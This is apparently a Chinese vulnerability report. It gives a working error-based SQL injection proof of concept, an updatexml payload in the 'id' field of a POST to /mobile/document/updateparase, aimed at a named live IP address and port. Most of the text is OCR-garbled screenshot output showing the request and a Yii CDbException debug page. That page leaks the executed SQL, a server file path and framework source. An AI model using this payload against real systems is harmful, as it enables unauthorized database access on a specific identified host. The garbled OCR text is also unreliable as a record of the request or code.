漏洞URL：
http://61.184.79.92:8090/portal/default/login
Poc：
[bookmark: _GoBack]POST /mobile/document/updateparase HTTP/1.1
Host: 61.184.79.92:8090
User-Agent:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
id=123%20or%20updatexml%281%2Cconcat%280x7e%2C%28SELECT%20md5%28123456%29%29%2C0x7e%29%2C1%
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4 Raw
POST /mobile/document/updateparase HTTE/1.1

Host: €1.184.79.92:8090

User-Agent:Mozilla/5.0 (X11; Linux x86_€4) AppleVebKit/537.36 (KHTML, like Gecko)
Chrome/34.0.1847.137 Safari/4E423F

Content-Type: application/x-wwv-form-urlencoded

Content-Length: 93

Hex

1

ia=
123%200r%20updatexnl$281%2Cconcat280x 7e%2CY28SELECTS20md5 %268 1234564 29%29%2C0x 7e %2942
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HTTP/1.1 500 Internal Server Error
Server: nginx/1.8.0

Date: Wed, 13 Mar 2024 15:40:31 GNT

Content-Type: text/html; charset=utf-g

Connection: kesp-alive

X-Frame-Options: SAMEORIGIN

Content-Security-Policy: default-src 'self' 'unsafe-inline'
'self' * data: blob:; font-src 'self' data:
Content-Length: 26889

'unsafe-eval' * :img-src

<!DOCTYPE html PUBLIC

"-//3C//DTD XHTHL 1.0 Transitional//EN"

"http: //www.v3.org/TR/xhtall/DTD/xhtall-transitional . ded™>

<html xmlns="http://wev.u3.org/l999/xhtml” xml:lang="en" lang="en">

<head>
<meta http-equiv="Content-Type” content="text/htal; charset=utf-8"/>
<link rel="stylesheet” types"text/css” href="
/static/css/plugins/jquery. jscrollpane.css”™>
<script type="text/javascript” src="/assets/2efcOlda/jquery.min.js">
</script>
<sCript type="text/javascript” src="/static/js/jquery/jquery.
</script>
<script type="text/javascript”
>
</script>
<title>
CDbException

</title>

ousevheel. 35"

sres"/static/Js/jquery/jquery.Jscrollpane.min. js”

<style type="text/cs:
/%<! [CDATAL*/
htal,body, div, span, applet, object, iframe, hl, h2,h3,h4,hS, hé,p, blockquote pre ,a,
abbr,acronym, address,big, cite, code,del,dfn, en, font, ing, ins, kbd, q, s, sanp, snall,
strike, strong,sub,sup, tt,var,b,u,i,center,dl, dt,dd,ol,ul, i, ieldset, for:
label, legend, table, caption, thody, tfoot, thead, tr, th, td(
border:0
outline:0;
font-size:100%;
vertical-align:baseline;
background: transparent;
margin:0
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L POST /mobile/document/updateparase HTTE/L.1 :-:
2 Host: 61.184.79.92:8090 i
3 User-Agent:Mozilla/5.0 (X11; Linux x8€_€4) AppleWsbKit/537.36 (KHTML, like Gecko) CDbExceptlon Request query parameters °© v s
Chrome/34.0.1847.137 Safari/4E423F
! Content-Type: application/x-wwy-form-urlencoded Request body parameters 1 v
5 Content-Length: 93 CDbCommand F&EHIT SQL iE6): SQLSTATE[42000]: Syntax error B
7 id= or access violation: 1064 You have an error in your SQL syntax; Request cookies 0 v
233200z 281820 2 acka S OmASY2E1234564254254 2 sevn =
é;3\_nan_aupda:exn\_a1\_cconcan_anxve\_c\_aszu:c'n_uxds\_aA.:Ase\.m.s\_cuxht_s\_ check the manual that corresponds to your MySQL server version 2
s || for the right syntax to use near " at line 1. The SQL statement R 49 v|=
executed was: UPDATE ~user_parase’ SET .
WAL v
“use_times” ="use_times’ +1 WHERE id=123 or
updatexml(1,concat(0x7e,(SELECT md5(123456)),0x7e),1%
D:\DAP\htdocs\framework\db\CDbCommand.php(386)
374 {
375 if($this->_connection->enableProfiling)
376 Yii::endProfile(system.db.CDbCommand.execute(’ .$
377
378 $errorInfo=$e instanceof PDOException ? $e->errorInfo
379 $message=$e->getMessage();
380 Yii::log(Yii::t('yii’, CDbCommand: :execute() failed:
381 array('{error}'=>$message, '{sql} =>$this->getTex
382
383 1(YII_DEBUG)
384 $message.=". The SQL statement executed was: '.$t
385
386 throw new CDbException(Yii::t('yii®, CDbCommand faile
387 array('{error}'=>$message) ), (int)$e->getCode(),$e
388 }
389 }
39
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